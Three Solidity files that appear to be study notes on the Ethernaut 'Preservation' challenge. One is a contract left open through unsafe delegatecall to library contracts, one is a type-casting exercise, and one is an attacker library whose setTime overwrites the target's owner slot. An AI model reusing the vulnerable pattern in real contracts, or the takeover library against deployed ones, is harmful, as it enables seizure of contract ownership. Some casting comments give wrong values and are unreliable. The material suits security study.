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ballot.sol

pragma solidity ^0.4.23;

contract Preservation {

  // public library contracts 
  address public timeZone1Library;
  address public timeZone2Library;
  address public owner; 
  uint public storedTime;
  // Sets the function signature for delegatecall
  bytes4 constant setTimeSignature = bytes4(keccak256("setTime(uint256)"));

  constructor(address _timeZone1LibraryAddress, address _timeZone2LibraryAddress) public {
    timeZone1Library = _timeZone1LibraryAddress; 
    timeZone2Library = _timeZone2LibraryAddress; 
    owner = msg.sender;
  }
 
  // set the time for timezone 1
  function setFirstTime(uint _timeStamp) public {
    timeZone1Library.delegatecall(setTimeSignature, _timeStamp);
  }

  // set the time for timezone 2
  function setSecondTime(uint _timeStamp) public {
    timeZone2Library.delegatecall(setTimeSignature, _timeStamp);
  }
  
}

// Simple library contract to set the time
contract LibraryContract {

  // stores a timestamp 
  uint storedTime;  

  function setTime(uint _time) public {
    storedTime = _time;
  }
}

contract SecondLibraryContract {

  address public timeZone1Library;
  address public timeZone2Library;
  address public owner; 
  uint public storedTime;

  function setTime(uint _time) public {
    bytes32 b;
    
    assembly { mstore(add(b, 32), _time) }
  }
}

Casting.sol

pragma solidity ^0.4.23;

contract Casting {
    
    function uint8toBytes32(uint8 value) public returns(bytes32) {
        /*
        input: 255
        output: 0x00000000000000000000000000000000000000000000000000000000000000ff
        */ 
        return bytes32(value);
    }
    
    function uinttoBytes32(uint value) public returns(bytes32) {
        /*
        input: 255
        output: 0x00000000000000000000000000000000000000000000000000000000000000ff
        */ 
        return bytes32(value);
    }
    
    function bytes32ToAddress(bytes32 provAdd) public returns(address) {
        /*
        input: 0x000000000000000000000000ca35b7d915458ef540ade6068dfe2f44e8fa733c
        output: 0xCA35b7d915458EF540aDe6068dFe2F44E8fa733c
        */
        return address(provAdd);
    }
    
    function bytes32ToBytes16(bytes32 convBytes32) public returns(bytes16) {
        //Input bytes32
        //0x000000000000000000000000ca35b7d915458ef540ade6068dfe2f44e8fa733c
        //Output bytes16
        //0x000000000000000000000000ca35b7d9
        //Important Notice
        //16 bytes with length size of 32 from left is being included rest are excluded.
        return bytes16(convBytes32);
    }
    
    function bytes8ToUint32(bytes8 value8) public returns(uint32) {
        //Study comment section below of two functions.
        return uint32(value8);
    }
    
    function bytes8ToUint16(bytes8 value8) public returns(uint16) {
        /*
        Input bytes8 value: 0x73616e6465736872('sandeshr')
        Output uint16: 26738
        
        Since uint16 only hold 2**16 - 1 integers, EVM proceed the conversion from right
        side, converting hexadecimal 0x6872 is equal to 114 any thing greater than than
        will result into being greater than integer 65536. 
        */
        return uint16(value8);
    }
    
    function bytes8ToUint8(bytes8 value8) public returns(uint8) {
        /*
        Input bytes8 value: 0x73616e6465736872('sandeshr')
        Output uint8: 114
        
        Since uint8 only hold 2**8 - 1 integers, EVM proceed the conversion from right
        side, converting hexadecimal 0x72 is equal to 114 any thing greater than than
        will result into being greater than integer 255. 
        */
        return uint8(value8);
    }
    
    function retBytes8(bytes8 value8) public returns(bytes8) {
        return value8;
    }
    
    function byte8ToByte16(bytes8 value8) public returns(bytes16) {
        /*
        bytes8 input: 0x73616e6465736872
        bytes16 output:  0x73616e64657368720000000000000000
        */
        return bytes16(value8);
    }
    
    function uintToAddress(uint value256) public returns(address) {
        address(value256);
    }
}

LibContractHack.sol

contract LibraryContract {

  // stores a timestamp 
  address public timeZone1Library;
  address public timeZone2Library;
  address public owner; 
  uint storedTime;

  function setTime(uint _time) public {
    owner = address(bytes32(_time));
  }
  
}